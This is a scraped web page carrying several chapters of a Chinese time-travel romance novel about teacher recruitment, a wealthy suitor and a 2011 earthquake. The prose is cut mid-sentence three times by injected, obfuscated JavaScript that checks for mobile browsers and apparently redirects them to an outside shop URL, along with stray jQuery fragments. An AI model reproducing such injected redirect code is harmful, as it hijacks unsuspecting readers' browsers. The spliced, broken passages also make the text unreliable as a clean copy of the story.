彼时正是毕业季,禾苗陪着小沛,首先在县政府举办的招聘会申请了展位,一周一场,连续三场,收到的简历只有两份。
禾苗摇头说,“县城离咱们村还是太近了,知根知底的,不好招。”
田小沛看网络上投的简历也寥寥无几,说那就去安阳市,市里人才多,说不定能有收获。
市招聘会的展位直到八月初才申请下来,眼看不到一个月就要开学了,田小沛准备充分,卯足了劲准备大干一场。
一大早,她们便到了招聘会场,摆上了学校简介和招聘信息,很快吸引了一批求职者围观。
田小沛主动出击,站在展位旁边发宣传单边吆喝学校的优点。
有人问待遇怎么样,她说该有的都有,包吃包住;有人说学校太偏僻了,她说远离城市喧嚣和雾霾,吃的喝的都是原生态,寄情山水之间,这是城里人梦都梦不来的;还有说工资太低了,她说教学压力小啊,学校目前不争排名不搞评比,踏踏实实传授知识,这不是每个当老师的心愿嘛!
被她这么一说,心动的人越来越多,一张张简历像飘落的雪花一样纷来沓至。
禾苗将田小沛拉到一旁悄悄说,“你吹得有点过了,还是低调点好。”
小沛不屑,说,“怕什么,我又没绑着他们来,再说我说的也是实情啊!你别担心,咱们招的是合同工,不满意可以辞职嘛!虽然咱们学校条件是差了点,但如果招聘的人都没有十足的信心和热情,谁还敢来呢?”
禾苗见她说得在理,也不再说什么。
田小沛边数着简历边兴奋地说,“接下来有得咱们忙了。”
两人收拾完资料,正商量中午吃什么,抬眼便见谢京睿站在展位前。
“你不是在学校当监工吗?怎么跑这儿来了?”
谢京睿笑着说他刚好路过这边办点事,听说她们在招聘,顺道过来看看。
田小沛心想她们现在在溪水村隶属的安阳市,革益集团的业务不都集中在省城清丰市吗?他到这儿来能有什么事?不过她也无暇细问,她现在整个人都陷入初战告捷的兴奋中。
但禾苗知道,他说的大概率是真的。
谢京睿邀请她们吃牛排。不多会儿,车停在了市中心某高档西餐厅前。
田小沛看着服务员撤走桌上的预定牌,就猜到谢京睿是专为她而来。溪水村离安阳市不算近,他得知她今天到这儿招聘,专程开车来请吃饭,想想还是挺感动的。
禾苗也明白过来,眼睛眨巴眨巴对小沛暗示:我今天是沾了你的光。
刚坐定,服务员们微笑着鱼贯而入,依次将前菜、汤品、副菜、牛排一一上齐,待到他们吃得差不多时,及时端上新鲜的沙拉、甜品、咖啡,服务周到细致,无可挑剔,让田小沛想起古代王公贵族用餐就是这么个流程。
她有点受宠若惊。
谢京睿问她味道如何,要不要再来份牛排。
她摇头说吃饱了。
禾苗没想到她会拒绝,有点惋惜这样的上等牛排不能再来一块。她拿着叉子叉了块菠萝慢慢嚼,真希望能在这儿多停留一会儿。
这时,穿着西装的小提琴演奏家走到窗边靠墙的卡座旁,为那桌女孩演奏起动人浪漫的乐曲。
田小沛看到那女孩惊喜地捂了下脸,感动和喜悦在她脸上交替出现,为她点歌的男士举杯向她说着什么,她红着脸碰了下杯。
她看到他们桌上那捧红得炫目的玫瑰。
在这样的氛围下,真有点让人恋爱的冲动呢。
谢京睿从她眼中捕捉到几分羡慕之情,立马说,“等他演奏完,请他过来,我包场了。”
禾苗正要拍手叫好,只听田小沛说,“嗳,别别别,安静吃饭吧。”她可不想因为一顿饭就把自己套了进去。
谢京睿有些尴尬,转而问起今天招聘情况。
田小沛眉飞色舞描述她如何在无人问津的局面下力挽狂澜,舌战群儒将对方收入自己麾下。
虽然听这描述怪怪的,但谢京睿仍忍不住嘴角上扬,他原本打算助她一臂之力,但看她势在必得的样子,也就不提了。
田小沛和禾苗商量,把初试地点定在安阳市,一是方便面试人员前往,二是等她们筛选后再把候选人员带到学校让校长复试,这样省时省力效率又高。
两人当即续了三天酒店,却在面试地点上犯了难。
谢京睿说,集团前不久在安阳设了个办事处,刚好有几间装好的办公室还没投入使用,可以借给她们用。
这可真解了燃眉之急!禾苗提出想去看看,田小沛也附和说想去,心里却莫名有些失落。
为了便于洽谈业务,办事处的选址设在安阳市最繁华的商务区,这里集合了市内所有的A级写字楼,楼高气派,一栋栋并列排着,像伸入天庭的擎天柱。
田小沛刚下车,就被那一块块在阳光照射下闪着金光的玻璃幕墙闪瞎了眼。
谢京睿带她们走进最高的那栋金碧辉煌的写字楼,穿过极具艺术感设计的大厅,高端大气的鎏金电梯载着他们秒速“飞”到36楼。
田小沛和禾苗恍若走入超五星级酒店,所到之处每一寸装潢、每一处摆设散发出的奢华怔得她们瞠目结舌,每一步都走得小心翼翼。
出了电梯,谢京睿指了左侧的几间房,说整层楼都被集团租下了,让她们随便选,不要拘谨。
田小沛拉着禾苗东看看西瞧瞧,办公桌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084088|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
椅看上去都好高级,她欣喜地说无论选哪间都为这次的面试加分。
禾苗提醒她低调点,不然进入复试的人再去看学校,落差感会很大。
最终,她们选了最小的一间,并在面试时向应聘者强调说是临时租借的,与学校本身无关。
但在这样高大上的环境里面试,很难让人不对自己即将从事的职业充满热情和幻想。
面试进行得很顺利,每个应聘者离开前都表达了想加入溪水小学大家庭的强烈愿望。
田小沛再一次感受到胜利的喜悦。
谢京睿为能帮到她而开心。
接下来就需要章校长拟定复试人选了。
“想去清丰市看看吗?”谢京睿说他刚好有事要回趟家,问她有没有兴趣故地重游。
“好哇!”田小沛从小的梦想就是到省城当老师,然后在那里结婚安家,再把爸妈接来,彻底和那个落后贫穷的嘉宁说拜拜。她还从来没去过清丰市,当然是欣然应允。
禾苗眼中闪过一丝诧异。她看向同样很高兴的谢京睿,见他没有丝毫迟疑。作罢!他们的事她何必参与呢。她很识趣地带着面试资料回学校给校长过目。
安阳距离清丰市路途较远,谢京睿打开了车载音乐,转换了几首曲子,见坐在副驾的田小沛没有兴趣,又切换到电台听搞笑段子,小沛跟着笑了一阵,又觉得无趣,开始翻箱倒柜找吃食。
“到省城天也快黑了,要不你住我家,方便一点,也安全。”他冒着再次被拒绝的风险问得小心翼翼。
咬了一口旺旺雪饼的小沛微微点头,不知是同意还是认可雪饼味美。
没有拒绝就是同意!谢京睿高兴得差点喊出来,他紧抿住嘴唇,将笑意压了下去,害怕田小沛看到他高兴劲又临时反悔。
车快驶入清丰市地界时,他有感而发,说起和她的意外相遇,感叹老天真是会折磨人。
明明两人同住在一个城市,他寻了她七年,愣是一次擦身而过的机会都不给。他说他从不信命,可经历那次灾难后,他不得不信了。
田小沛停住了咀嚼的动作,听得很认真。她很想知道他和田家希的故事,但又怕问了会露馅,只得默默听着。
谢京睿见她整个人僵住一动不动,怕又像上次那样触及她的伤心过往,诱发心病,索性闭口不提了。
田小沛这段时间从禾苗嘴里套出了田家希和谢京睿重逢的大致过程。
年初,田家希作为希望小学代表去安阳市教育局参加表彰大会,在会场外意外碰见被父亲逼着来谈业务的谢京睿。
当时彼此都不确认是多年失散的故人,但谢京睿只一眼就觉得她就是他一直在找的初恋。他立马动用关系查到女孩的名字、履历,当得知女孩姓田,户口从嘉宁县迁来,他以火箭般的速度冲到了溪水小学。
像这种言情剧惯用的滥俗情节,细品还真觉得……挺感人呢!
田小沛偷瞄了眼谢京睿,太阳映照的逆光中,他原本俊朗的侧脸轮廓被勾勒地更加立体、硬朗,好像某个她爱的男明星啊啊啊……
那一瞬间她像个方寸大乱的恋爱脑,心想,我也是从嘉宁来的,有没有可能取而代之呢?
15. 清丰市 2011年
谢精锐的升学宴刚好赶上田家希例假。出发前,她疼得面色苍白,有气无力地躺在床上。
文莉给她喂了止痛药,看着虚弱不堪的她说,“我跟你爸去得了”。
田家希心安理得地一觉睡到天黑,感觉身体轻快许多,她起身热了粥在客厅慢慢喝着,这时爸妈也回来了。
文莉将打包的清淡小菜和肉菜拿出来加热,“你谢伯听说你不舒服,特意让酒店单独做的。”
田家希看了看菜色,食欲大开。
文莉坐在桌旁看女儿吃饭,用羡慕的口气给她讲诉今天的所见所闻。
“啧啧,这升学宴办得够气派!你谢伯包了几辆车把县里的同学老师亲戚全请来了,在皇都国际酒店办了整整五桌。哎哟,酒店那装潢气派呀,碗啊盘啊都镶了金边,还有那亮闪闪的水晶灯,看得我眼睛都花了,就像是进了皇宫。”
田伟在旁打趣,“你妈那模样,就像是刘姥姥进了大观园,饭都没顾得上吃几口。”
“瞎说!”文莉反驳,“我后面可吃了不少。倒是你,跟那帮人喝得脸红脖子粗的,说你你也不听。”说到这儿,田伟打了个饱嗝,
“哎哟,你这一身酒气……”文莉捂着鼻子一脸嫌弃,“还不赶紧去洗洗,别坐在这里污染空气。”
支走了丈夫,文莉对女儿继续说,“这次可让你谢伯出尽了风头,一群人围着恭维他混得好,我算是知道他为啥要在市里办席了。”
“谢伯伯肯定很高兴。”
“那还用说,嘴都快咧到耳边了。”文莉顿了顿,又说,“倒是谢精锐,蛮淡定的,全程都很安静。”
田家希想,好歹有老师在,他多少也要收敛点。她又想起另一个世界的谢京睿,如果当年他考上了郊东大学,也能这样扬眉吐气吧。
文莉看女儿心不在焉,也没了往下说的兴致,只叮嘱她好好学,争取明年考上名校,到时也办个升学宴好好风光风光。话毕,她起身说要去洗澡,突然胃痛得厉害,她皱眉“嘶”了一声,单手撑着桌子动弹不得。
“胃痛?”田家希放下勺子起身将妈妈扶到座位上,然后在客厅茶几下的黄色药箱里找到文莉平时常吃的胃药,拿过来递给她。
文莉诧异地接过女儿递来的温水,盯着那几盒药,心想什么时候她记住了我吃的药,还记住了放药的位置,我可从来没跟她说过啊。
田家希记下了妈妈每种药吃的颗数,又仔细看了说明书,眉心微蹙,“副作用还不小。”
“是药三分毒。我这都老毛病了,没事。”文莉边说边将说明书放回药盒,让女儿别担心。
“你有没有觉得胃那个位置有肿块?”田家希记得七年前,一直患有胃病的妈妈说过胃部摸着有硬块,原本说好去医院做检查,却没来得及。
文莉听说女儿要带她去医院,觉得没必要,“我自己的病自己清楚,胃病就是要靠养,坚持吃药就行了。”她此时觉得胃舒服许多,用手摸了摸胃部位置,“你看,正常得很,就是炎症。”
田家希不信,也伸手摸了摸,触感柔软正常,原本还想问,文莉拨开她的手起身回房了。
第二天一早,田伟说要随车回趟嘉宁县收货款,顺带和合作农户谈生意,再把囤在县仓库的货运一批过来。
田家希这才知道昨晚谢伯伯在酒桌上通过中间人又在老家农村找到新货源。
今早谢常德安排车辆将昨天邀请的宾客全送回去,田伟便随中间人去见新的种植户。
听说又要踏足嘉宁县,田家希的心控制不住发慌。她知道做生意不可能像上班族那样,辞职了就能断得干净。更何况在老家扎根几十年的人脉、资源,也不可能在短时间内把各项资源都转移到省城,频繁两头跑是避免不了的。
但是,今天格外的心神不宁。
“爸,你必须在下午三点前返程。”田家希仍坚信那场地震会发生。“你这次去,尽量把货款、货品都收齐,减少去县城的频率。”
看着女儿认真严肃的模样,田伟不好戳穿。实际上5.29那天后,他就觉得特大地震是无稽之谈。考虑到女儿这段时间承受了很大的精神压力,再加上这是迁入省城后第一次重返故地,她谨慎、紧张也属正常。他避开一切可能刺激她的话题,点头答应了。
“谢精锐去送他老师和同学,到时随我一起回来,你别担心。”田伟出门前再次向女儿保证会提前返家。
田家希自爸爸出门后就开始坐立不安,虽说爸爸有人作伴,但谢精锐那目空一切的性子更让她担心。
好不容易熬过漫长的上午,中午吃饭时田家希给爸爸打了个简短的电话,得知一切进行顺利稍稍安了心。她看向窗外,阳光炙热,行人稀少,一切都宁静安好。有那么一瞬,她想自己可能是真的过于紧张了。
这时文莉过来说要去趟超市,让她好好在家待着看书。
田家希坚持要陪妈妈一起去。
等母女俩回到家已经两点半了,田家希又给爸爸打了电话,无人接听。她有些慌,拿妈妈的手机拨,还是无人接听。紧接着,她拨通了谢精锐的电话。
电话那头的谢精锐有些不耐烦,说他正准备去和田叔会合,没打通电话可能是因为在搬货。
田家希发出疑问,“你没有和我爸一起去搬货吗?”
“大小姐,谁告诉你我要去搬货?”他挖苦她,“你要这么不放心,不如自己来!”
田家希也想啊,但田伟说面包车要装货,坐不了那么多人,硬把她拒绝了。
她听谢精锐语气不好,解释说,“我听爸爸说你会和他一起搬货,还以为你们在一起。”见对方不吭声,又说,“你见到我爸让他给我回个电话,行吗?”
“我现在忙。”谢精锐刚想挂断,又听她说,“你们回省城最好走G75高速,虽然绕一点,但是安全。还有,一定要在三点前出发。”
他皱眉,她现在怎么变得这么婆婆妈妈了?
“谢精锐,你在听吗?”
谢精锐对她没来参加升学宴心怀不满,现在还要听她絮絮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100573|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叨叨各种安排,心想:凭什么?
他挂断了电话。
田家希心中窜起一股无名火,要不是打不通爸爸的电话,她才不想和他说话!
时间一点一点过去……
下午五点,文莉煲上了汤,站在饭桌前对着买的一大堆食材犯愁。
田家希帮她搭配出几个可口小菜,母女俩有说有笑正择着菜,忽然一阵天旋地转,橱柜上的锅碗瓢盆相互碰撞后掉落在地,客厅里的物品东倒西歪散落一地,整座房子像摇篮似的左右摇晃不停。
田家希反应迅速,抓住站立不稳的妈妈直往下拽,“快,躲桌子底下去。”她们刚好站在饭桌旁择菜,蹲身就能获取安全。
母女俩在桌子底下看天花板的吊灯摇摇欲坠,似乎下一秒就要掉下来砸得粉身碎骨;饭桌上的水杯、茶壶兵兵乓乓一个接一个砸下来,溅起的玻璃渣弹跳到母女脚下,差点划伤脚。
文莉惊呼了声,颤声问,“地......震?”
田家希一手抓着桌腿,一手紧抓妈妈手腕,面色凝重,深吸口气,像是安慰妈妈又像是安慰自己,“别怕,会没事的。”
“你爸爸还在外面……”文莉带着哭腔,说到一半噎住了。
是啊,千防万防还是没防住,田家希万念俱灰。
“给你爸爸打电话。”文莉挣扎着起来,被女儿一把按住,“等地震过了再说吧!”
此刻仍是地动山摇,外面惊呼声不断,吵吵嚷嚷的,文莉心发慌,“我们也下楼逃跑吧!”
“我们不会有危险,下楼反而危险。”田家希表情淡定,心却颤得厉害,即使再来一次,她仍无法平静面对。
“那我们只能……干等着?”文莉经历过很多小地震,身居城市高楼中的地震却让她手足无措,以往的避震经验告诉她,只要逃到空旷处就能安全。嘉宁县的楼房都很低,跑出去很容易。
嘉宁县?文莉茫然的眼睛突然一亮,“你前阵子说的特大地震,是我们那儿?”她看见女儿发白的嘴唇不停颤抖,紧接着几颗豆大的泪珠掉下来……
“啊……”她捂着胸口泣不成声,“你几个姨还在那儿啊……”
过了一会,房子不摇了,文莉从桌子底下爬出来,首先给几个姐妹打电话,电话那头一片寂静,几秒后语音播报无法接通。她颤抖着按返回键,重新选择通讯人,口中喃喃自语,“给你爸打,他肯定能接。”
一样是无法接通。
“没接通不代表一定发生了什么,对不对?”文莉脑子一团乱麻,坐在沙发上两眼空洞看向半空,口中嘟嚷着不知在说些什么。
田家希明白妈妈一定是被突来的灾难惊懵了,发生地震通讯中断是常识,每个嘉宁人或多或少经历过,因此她应该知道此刻打电话是徒劳。
田家希不戳穿,也不阻止,她清楚人在这种时候必须得做点什么来证明自己的不相信就是事实,要不哪有力气承受接踵而来的肝肠寸断的巨大悲伤和致命重击呢?
这一点,她深有体会。
16. 清丰市 2018年
下了高速,车行至清丰市西南郊,穿过冗长的隧道,眼前梦幻般的景致如同掉进漫画里。
宽阔笔直的马路两侧湖水环绕,绿意盎然,湖岸线曲折蜿蜒与远山相连。
路的西侧,矗立着一排排红瓦石漆的欧式别墅。另一侧,一幢幢独栋别墅星罗密布在山湖之间,犹如镶嵌在湖面上的一颗颗明珠。
谢京睿的车驶入沿湖路,在一栋典雅大气的中式庭院前停下,推开古铜色的复古大门,映入眼帘的是一幢灰黑色屋檐、象牙白外墙的三合院。沿着灰白色石阶往里走,暮色中的亭台楼阁、假山流水像是被镀了一层金箔,梦幻得如同走进世外桃源。
田小沛和谢京睿穿过庭院,早已等候在门厅旁的崔阿姨快步上前迎接他们。
谢京睿介绍说她是住家保姆,负责料理全家人的饮食起居。
崔阿姨早就看见谢少身后跟着个漂亮的娇俏女孩,含笑招呼她,“这就是少爷心心念念的女孩吧?”
田小沛闻言,不好意思瞄了眼谢京睿。
谢京睿笑而不语。
崔阿姨将他们迎到饭厅,饭菜早已备下,满满一大桌,都是田小沛喜爱的菜。
谢京睿说父亲出差过两天才能回来,让她随意不必拘礼。
田小沛大大松了口气。刚坐下,一碗鸡汤就递到她手边。她朝崔阿姨礼节性地笑笑,心想她不会一直在旁伺候吧,多不自在啊!
只是微微皱了皱眉,谢京睿便读懂了小沛的心思,他找个理由让崔阿姨退下了。
“阿姨是很久没见我了。”谢京睿解释,“我们平时吃饭她都在厨房忙活。”
田小沛点点头,边吃边环视四周,全屋以浅棕色和白色色调为主,饭厅一侧透过落地玻璃可以欣赏园中美景。另一侧放着一道山水画木质屏风,透过屏风向外看,超大面积的客厅容纳了古雅装饰的茶室,客厅墙面挂着一副仙鹤和老人的水墨画,雕花镂空的月洞门将另一侧的园景囊括进来。
即使天黑看不清园中景致,坐在这样的屋子里也是种享受啊!
田小沛摸了摸饭桌,质感不错,样式和成色看上去都很高级,不禁心想:没想到谢伯伯生意能做这么大,还这么懂得享受生活。以前在镇上只觉得他财大气粗,跟儒雅靠不上边,这才几年都能住上这么高大上的别墅了。转而又想起她爸,不知道他现在过得怎么样。
谢京睿看她心事重重,问她是不是哪里不舒服。
田小沛摇摇头,她穿到这儿两个多月,始终没机会见到父母,想起以往两家人的交情,忍不住问,“我爸这些年过得咋样?还做生意么?”
原本要喝汤的谢京睿缓缓放下勺子,微张着嘴,掩不住眼中的惊恐和诧异,怔怔地看着她,太阳穴突突地跳。
田小沛见他脸色有异,放下筷子,莫名有些紧张,追问,“他是不是还在老家?没跟你们联系吗?”
谢京睿细细观察她,看她眼神发懵又急切,像是完全忘掉了那件事,这……不可能吧!按医生所说,她可能会选择性失忆,但不能忘得这么彻底吧!
他原本还在犹豫要不要带她去和郝医生聊聊,现在看来完全有必要。
为了不刺激她,他并没正面回答,含糊说一切都好,又让崔阿姨上甜点,把话题掩了过去。
田小沛向来心大,心想或许这些年两家人没来往呢,她这样问,对方肯定尴尬。爸妈究竟过得怎么样,她得亲自去看看。
晚饭后,谢京睿联系了私人心理顾问郝医生,了解到田小沛的状况后,郝医生决定亲自来一趟谢宅。
小沛的卧室被安排在全屋采光最好的房间,谢京睿记得她曾说过,她希望以后住的房子全天都能晒到太阳。于是自入住别墅后,谢京睿就把朝南的院舍空了出来,按照她描绘过的房间模样布置,每天让人打扫。他坚信有一天能找到她。
小沛在谢京睿的带领下依次走过起居室、衣帽间、书房、瑜伽室、小花园……两百多平的房子她一人独享?!他对我,哦不,是对田家希也太太太太太好了吧!
小沛嘟着嘴,心里不是滋味。七年后的谢京睿已不是她认识的那个谢京睿了,说他完全变了个人也不为过。
谢京睿看她若有所思,告诉她不必多虑,以后要想来省城玩,或是想在省城定居,可以优先选择这里。话虽说得很委婉,但他心里却想的是:只要你肯来这儿,我是不会让你从我身边溜走的。
“你为什么要对……我这么好呢?”小沛很好奇他和田家希的故事。
“失而复得的心情你了解吗?”他动情地看着她,猜她也有同样感受。
“哦,哦.......”小沛眨眨眼,盲猜,“你觉得你亏欠我?”
他不置可否。
“我不觉得你亏欠我。”她开始套话。
谢京睿欲言又止。在这七年里,他曾不止一次悔恨、打骂自己,如果当初他能强硬一点,她,甚至她爸妈是不是就能免遭此难!
戳到痛处的发问,让他感觉无法呼吸,他垂下眼眸,声音沙哑,“早点睡吧。”
第二天,田小沛说想去嘉宁县看看。正在用早餐的谢京睿脸色突变,他想起昨天和郝医生的通话——在病情没稳定前,最后不要提及往事,以免触景生情引发更大的心理创伤。
“要不咱们先去市里逛逛吧!”他看她衣着简朴,计划带她买几件漂亮衣服,再去豪吃一顿。
“好哇!”小沛也很想去看看朝思暮想的大都市,去嘉宁的想法当即就消散了。
两人从商场出来,已快中午了,小沛站在商场门口等谢京睿从地库开车来接。
这时有个眉目清秀的年轻男子从门口路过,一眼瞧见小沛,忙上前招呼,“家希姐,你怎么在这儿?啊,你来城里怎么不告诉我们一声?”
田小沛两眼茫然地看着他,听他说话语气应该是老相识,再看他欣喜的表情,应该是彼此很久没见了。她琢磨着,回答得很谨慎,“同事约
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104173|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,我也是今天才到,还没来得及。呵呵。”
小伙子似乎对她答复不满意,“我妈妈给你打了那么多次电话,你总是不接,还说要去学校看看你。”
这是什么情况?小沛心里嘀咕,看他和自己年纪相仿,她妈妈应该是田家希长辈。但她在田家希的手机通讯录里没看见长辈称谓的联系人啊!
这时谢京睿的车停在他俩跟前,他摇下车窗,看见小沛和一帅哥说着话,那男人眼珠子都快黏在她身上了。
谢京睿冷脸,咳了一声,田小沛像是听到指令的士兵,快步上前拉开车门,临走前还不忘跟小伙子客套,“我今天忙,以后再联系啊!”
谢京睿听她跟那男人说“以后联系”,酸唧唧地问,“我怎么不知道你在这儿还有个常联系的朋友?”
小沛原以为可以从他这儿探听一二,看来没望了。她暗自思忖:田家希留下的个人信息不多,她之前也没有细致地考究过她。现在在状况频出的情况下,她觉得田家希的命比她好太多,那就必须得行动起来。
谢京睿看她心不在焉,以为她在想刚才那个男人,醋意翻涌,一个急刹,把田小沛从沉思中拽了出来。
“你跟他什么关系?”他脸色阴沉如水。
她也说不上,胡诌了句,“熟人。”
那男人看她的眼神可不像看普通的熟人。
“那你说我们什么关系?”小沛不耐烦地反驳他,“你觉得我们是什么关系?”她越说越激动,音量不由得拔高。
谢京睿也很窝火,他对她的过往知之甚少。他们接触的几个月中,她总是拒他于千里之外,对往事很少提及。唯一接触频繁的就是她在清丰市住院那几天,他也只从她嘴里知道些过往的零碎片段。
现在,她明显有意瞒他,让他心烦不已。
“他看上去对你很在意,追过你?”
这句话倒打开田小沛的思路,她怎么没想到呢,也有可能是田家希的前男友啊!
她拿不准,也不想纠缠这个话题,问他,“一会能好好吃饭么?”
谢京睿见她仍回避话题,心里依然不痛快,但看她阴沉着脸,担心刺激她病情,也不敢多问。
两人各怀心思吃完饭,田小沛说想回去歇着,谢京睿也没心思逛街,便驱车回了谢宅。
一下车,田小沛借口想睡午觉把自己关进卧室,她迫不及待拿出田家希手机仔细翻看,希望能从中寻到蛛丝马迹。
谢京睿很郁闷,回到自己卧室盯着内室那扇门看了半天,在说与不说之间陷入焦灼……
最终,他还是决定让她知道。虽然他并不想用这种方式告知她,但今天出现的那个人让他焦躁不安。
他慢慢走到南院舍,见小沛的房门虚掩着,轻敲了敲门,说有秘密要给她看。
小沛听说有秘密,酸胀的眼睛突然有了神。她跟着他穿过花园,进入正门门厅,走进二楼卧室,在卧室一角类似衣帽间的门口停了下来。
17. 清丰市 2011年
傍晚时分,田伟的电话依旧没打通。
田家希透过电视屏幕投射出的微弱光线看见妈妈神情呆滞地盯着电视一动不动。此时已确认震中在嘉宁县,震源很浅,情况不容乐观。
田家希轻轻地走过去,手挽着妈妈胳膊,头枕着她的臂弯。她真的庆幸,再次遇到天灾,她能把最在乎的双亲从死神手里抢回来,再也不用行尸走肉般独活在这世上。
可是泪还是止不住掉下来。
她想起七年前她在去省城路上惊闻噩耗,那个漫长痛苦的夜晚是她噩梦的起点,循环往复,没有终点。现在好了,她完成了她曾认为异想天开的心愿,即使没有想象中完美。
“电视信号都有了,你爸爸电话为啥打不通呢?”文莉好半天才意识到女儿坐在身旁。
“他不会有事的,大概率在路上耽搁了。”田家希之所以这么有信心,是因为刚才她才注意到手机上有条未读短信,短信是谢精锐在下午三点半发出的,只写了五个字——已经出发了。
可以想象得到,他发短信时极不耐烦的表情。
不管怎样,一个多小时的车程,不管他们走哪条路,都已离开了嘉宁县,至少没有生命危险。
文莉听说,稍稍安了心。
此时,楼下喧闹声不断。惊魂未定的人们听说今夜有余震,有的已备好干粮开车去更安全的地方躲灾,没那条件的带着家人在楼下街心花园搭帐篷,还有的甚至连帐篷都不要,搬个折叠凳拿把蒲扇,几个人围坐,准备畅谈到天亮。
这场景,比黄金周的热门景区还热闹。
文莉看了眼楼下乌泱泱的人,心惴惴不安,“我们也下去吧。”说着她就要去找帐篷。
田家希阻止了她,“市区不会有余震,没必要出门。”在她的记忆中,嘉宁县接下来两天余震不断,直接导致救援难度增加,她也是在余震中受的伤。
文莉见她如此笃定,想起她曾预言嘉宁县有地震,瞳孔猛地一缩,颤声问女儿,“你真经历过地震?”
田家希愣了一下,并没正面回答,将话题带到干妈身上,“她应该没回嘉宁吧?”
“没有。”文莉说早上还和她通了电话,说过几天要来省城玩。“但你那几个姨、叔,还有姑妈,就没这么幸运了……”她说着又呜咽起来,“他们多半凶多吉少吧?”她用探询的目光看向女儿。
“妈,我们也尽力了。”田家希说来也很伤感。
当初他们搬家时曾到每个亲戚家劝过一起搬,田伟甚至还许诺搬到了省城他们给付房租,但没人愿意搬家。一来工作地点和孩子上学的地方都在县城,牵一发而动全身;二来,当时正处在田小沛造谣事件的风口浪尖上,他们也觉得是无稽之谈。
世上很多事,不是你想怎样就能怎样的。即使重来一次,田家希也只是个没有金手指和超能力的普通人。她也很想像小说里的穿越女主一样呼风唤雨,成为人生赢家。可是,她仅仅是多了个能够重来一次的机会而已。
她很满足了,该做的她都做了,结局比七年前好太多!
但看见妈妈哭,她还是忍不住悲恸。
母女俩依偎着一夜无眠。
第二天上午,通讯信号恢复,文莉接到丈夫打来的平安电话。田伟说前方道路坍塌,他被滞留在高速路上,好在有交警指挥引导,现在吃了泡面喝了水,等交通恢复了就回来。
说起这漫长又难熬的一夜,田伟心有感触。
昨天下午他正开着车,忽然感到路面震颤不已,接着听到轰隆隆的声音,循声看去,不远处,连绵起伏的山脉之上,大小不一的石块像下瀑布似的滚落下来。
开车多年的他从没见过这番景象,他心里发慌,忙将车停到应急车道。随后,越来越多的车驶入应急道。车主们纷纷下车,一脸惊慌地议论是不是哪里地震了。
田伟从车里出来,掏出手机看了看,没有信号,他的心一沉。
此时,远处山上的石头越滚越多,山脚下扬起一片尘土飘至半空中。
田伟扶着车看向嘉宁方向,心想难道真被小沛说对了?如果真是,他还有亲戚和生意在那边……他的手蜷成拳头重重地砸在车身上,表情悲戚。
他原以为可以很快踏上归途,但前方传来消息说通往省城的各条高速路都有不同程度的塌方,国道更惨,还有人员伤亡。
他突然想到没和他同路的谢精锐,他现在离开嘉宁了吗?走的哪条路?人安全吗?
他拜托前来指挥车辆的交警帮忙打听消息,不是说国道有人员伤亡吗?伤的是谁?交警摇摇头,说具体情况他也不清楚,他现在可没闲工夫管这些。
“啥?”文莉和田家希听说谢精锐不知所踪,刚安定的心又起惊波,“你们怎么没有一起回来?!”
“他说他还有一场球要打。怎么,他没回家?没打电话?”
“没啊,刚谢常德说联系不上他,还说要给你打电话问问。”
三个人陷入不安的沉默。
午饭后,谢常德来了,听说儿子失联,他坐立难安,站在电视机前,拿着手机,把官方公布的援助热线打了个遍,田家希也帮着在网上发布寻人信息。
此时的他们,除了煎熬的等待外别无他法。
电视里滚动播放着救灾的消息,通过卫星地图可以看到嘉宁县已被夷为平地,镜头所到之处满目苍夷、毫无生机。
文莉湿润的眼睛紧紧盯着每一个镜头。突然,一块坍塌在地残缺不全的红色房顶被扫进镜头。田莉无力地抬起胳膊指着电视颤声问女儿,“那是我们家么?”
五层楼的房子只剩房顶露在地表,残忍地昭告所有生命已长眠于地下。田家希想起七年前她曾在那儿几近疯狂地翻找尸体的情形,忍不住全身颤抖,继而跑到卫生间呕吐。
谢常德悔恨不已,昨天他还亲自把亲友们送上车,这不等于把他们送进鬼门关吗?他扇了自己几耳光。
田家希刚好从卫生间出来看到这一幕,她百感交集。如果她能摸透这个世界的时间规律,至少能救下这一车人。
事实上,她在搬进新家这段时间就一直在找规律。她之前对比过两个世界地震的时间差为1-6个月,除了具体时刻一致,其余毫无规律,比如这次延后了两个半月,但在已知的时间差里没有两个半月的记录。
她脑子一团乱麻。
“啪嗒”一声,门开了,泪眼模糊中田家希看见一脸倦容的田伟站在门口,她飞奔过去抱住他。爸爸身体传来的温度和身上淡淡烟味让她确信不是梦境。太好了!爸爸也没事!这下她的心彻底踏实了。激动的
